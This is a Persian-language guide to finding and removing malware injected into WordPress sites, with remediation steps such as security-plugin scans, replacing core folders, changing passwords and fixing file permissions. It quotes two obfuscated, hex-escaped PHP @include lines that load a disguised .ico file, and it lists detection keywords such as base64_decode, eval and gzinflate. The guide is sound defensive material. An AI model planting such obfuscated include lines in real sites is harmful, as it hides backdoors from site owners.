راهنمای کامل شناسایی و پاک‌سازی کدهای مخرب در وردپرس

اگر در فایل‌های وردپرس خود با کدهای عجیب مانند موارد زیر مواجه شده‌اید، احتمالاً سایت شما آلوده به بدافزار شده است:

/*ae361*/
@include "\x2fhome\x2faref\x64ie1/\x70ubli\x63_htm\x6c/wp-\x69nclu\x64es/j\x73/tin\x79mce/\x66avic\x6fn_3c\x66306.\x69co";
/*ae361*/

یا

/*64d63*/
@include "\x2fho\x6de/\x61re\x66di\x651/\x70ub\x6cic\x5fht\x6dl/\x77p-\x69nc\x6cud\x65s/\x74he\x6de-\x63om\x70at\x2ffa\x76ic\x6fn_\x3851\x3515\x2eic\x6f";
/*64d63*/

این نوع کدهای مخرب معمولاً در فایل‌های wp-config.php، index.php، functions.php، header.php و سایر فایل‌های قالب و افزونه‌ها تزریق می‌شوند.

چرا این مشکل رخ می‌دهد؟

این نوع کدهای آلوده معمولاً نتیجه‌ی یکی از موارد زیر هستند:

• وجود یک بک‌دور (Backdoor) در هاست که به مهاجم اجازه‌ی تزریق مجدد کدهای مخرب را می‌دهد.
• آپلود فایل‌های آلوده از طریق افزونه‌ها یا قالب‌های نال شده
• مجوزهای (Permissions) نادرست در فایل‌ها و فولدرها که باعث تغییرات ناخواسته می‌شود.
• عدم بروزرسانی وردپرس، قالب یا افزونه‌ها که باعث وجود حفره‌های امنیتی می‌شود.

راه‌حل‌های پیشنهادی برای حذف کدهای مخرب و پاک‌سازی وردپرس

1. شناسایی و حذف کدهای آلوده

 فایل‌هایی که معمولاً این کدها در آن‌ها تزریق می‌شوند را بررسی کنید:

• wp-config.php
• index.php (در ریشه و پوشه قالب)
• functions.php (داخل پوشه قالب)
• header.php و footer.php

 اقدام:

• با استفاده از ویرایشگر فایل (File Manager) یا FTP به مسیرهای بالا بروید و کدهای مخرب را به‌صورت دستی حذف کنید.
• دقت کنید که فقط همان کد آلوده را پاک کنید تا سایت شما دچار مشکل نشود.

2. اسکن کامل وردپرس با افزونه‌های امنیتی

برای بررسی عمیق‌تر از افزونه‌های امنیتی زیر استفاده کنید:

• Wordfence Security (دانلود از مخزن وردپرس)
• MalCare Security
• Sucuri Security

اقدام:

1. یکی از افزونه‌های فوق را نصب کنید.
2. اسکن کامل سایت را انجام دهید و فایل‌های مشکوک را حذف یا ترمیم کنید.

3. بررسی و حذف بک‌دورهای موجود

 فایل‌های زیر را در هاست خود بررسی کنید، زیرا معمولاً حاوی کدهای مخرب هستند:

• wp-config.php (بررسی وجود توابع رمزگذاری شده مانند base64_decode، eval، gzinflate)
• فایل‌های با نام‌های عجیب در /wp-includes و /wp-content/uploads
• پوشه‌های مخفی مانند .well-known یا پوشه‌هایی با نام‌های تصادفی

اقدام:

• اگر در این مسیرها فایل‌های مشکوک پیدا کردید، آن‌ها را حذف کنید.
• یک نسخه تمیز از وردپرس دانلود کرده و wp-includes و wp-admin را جایگزین کنید.

4. تغییر رمزهای عبور و بررسی سطح دسترسی فایل‌ها

 مطمئن شوید که مهاجم دیگر دسترسی به سایت شما ندارد:

• رمز عبور هاست (cPanel/Plesk) و دیتابیس را تغییر دهید.
• دسترسی فایل‌های مهم را اصلاح کنید:
  • wp-config.php را روی ۴۰۰ یا ۴۴۴ تنظیم کنید.
  • دیگر فایل‌ها را روی ۶۴۴ و پوشه‌ها را روی ۷۵۵ قرار دهید.

5. بروزرسانی وردپرس، قالب و افزونه‌ها

 در بسیاری از موارد، استفاده از نسخه‌های قدیمی وردپرس، افزونه‌ها یا قالب‌ها باعث نفوذ می‌شود.

اقدام:

• وردپرس را به آخرین نسخه به‌روزرسانی کنید.
• افزونه‌ها و قالب‌های نال شده را حذف کنید.
• فقط از منابع معتبر مانند wordpress.org افزونه و قالب دریافت کنید.

جمع‌بندی

 کدهای آلوده‌ای که در وردپرس شما تزریق می‌شوند معمولاً ناشی از بک‌دورها، استفاده از افزونه‌های ناامن و دسترسی‌های ضعیف به هاست هستند. برای پاک‌سازی سایت:
✅ کدهای مخرب را از فایل‌های اصلی وردپرس حذف کنید.
✅ از افزونه‌های امنیتی برای اسکن و حذف بدافزارها استفاده کنید.
✅ سطح دسترسی فایل‌ها را بررسی کرده و رمزهای عبور را تغییر دهید.
✅ وردپرس، افزونه‌ها و قالب‌ها را به آخرین نسخه بروزرسانی کنید.